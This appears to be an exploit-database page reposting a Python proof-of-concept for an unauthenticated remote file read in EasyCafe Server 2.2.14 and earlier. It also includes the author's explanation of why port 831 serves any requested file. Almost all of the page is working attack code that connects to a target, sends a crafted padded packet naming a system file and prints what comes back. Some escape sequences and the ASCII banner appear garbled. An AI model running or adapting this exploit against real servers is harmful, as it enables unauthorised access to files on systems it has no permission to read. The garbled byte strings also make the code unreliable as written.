Home / os / winmobile

EasyCafe Server 2.2.14 Remote File Read

Posted on 27 December 2015

#!/usr/bin/python -w
# Title : EasyCafe Server <= 2.2.14 Remote File Read
# Date : 25/12/2015
# Author : R-73eN
# Tested on : Windows 7 Ultimate
# Software Link : http://www.tinasoft.com/easycafe/
# Vulnerable Versions : EasyCafe Server <= 2.2.14
# EasyCafe Server has a feature to upload file from the server to a client.
# And the request is as following. EasyCafe Server sends an UDP request to the client with the file that wants to upload,
# Then the client receives the packet and connects to the server on port 831 and sends the directory of the file and receives it.
# The problem is that a remote attacker can connect to port 831 and can retrive a file because the server doesn't validate the request,
# and does not check if it has sent the UDP request which gives us full Read access to the system.
#

import socket
#Banner
banner = ""
banner += " ___ __ ____ _ _ 
"
banner +=" |_ _|_ __ / _| ___ / ___| ___ _ __ /  | | 
"
banner +=" | || '_ | |_ / _ | | _ / _  '_  / _  | | 
"
banner +=" | || | | | _| (_) | |_| | __/ | | | / ___ | |___ 
"
banner +=" |___|_| |_|_| \___/ \____|\___|_| |_| /_/ \_\_____|

"
print banner

IP = "192.168.43.36" # Target IP
PORT = 831
file_to_read = "C:\Windows\System32\drivers\etc\hosts" # File to read

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORT))
file_to_read = "x43" + file_to_read
hex_value = ''.join(x.encode('hex') for x in file_to_read)
fill = "x00"
end = "x01x00x00x00x01"
payload = hex_value.decode("hex") + fill * (261 - len(end) - len(file_to_read)) + end
s.send(payload)
s.settimeout(0)
print "[+] Request Send Waiting for Response . . . [+]"

try:
 data = s.recv(261) # Get header
 while data:
 data = s.recv(2048)
 print data

except Exception:
 print "[+] https://www.infogen.al/ [+]"
finally:
 s.close()

 

TOP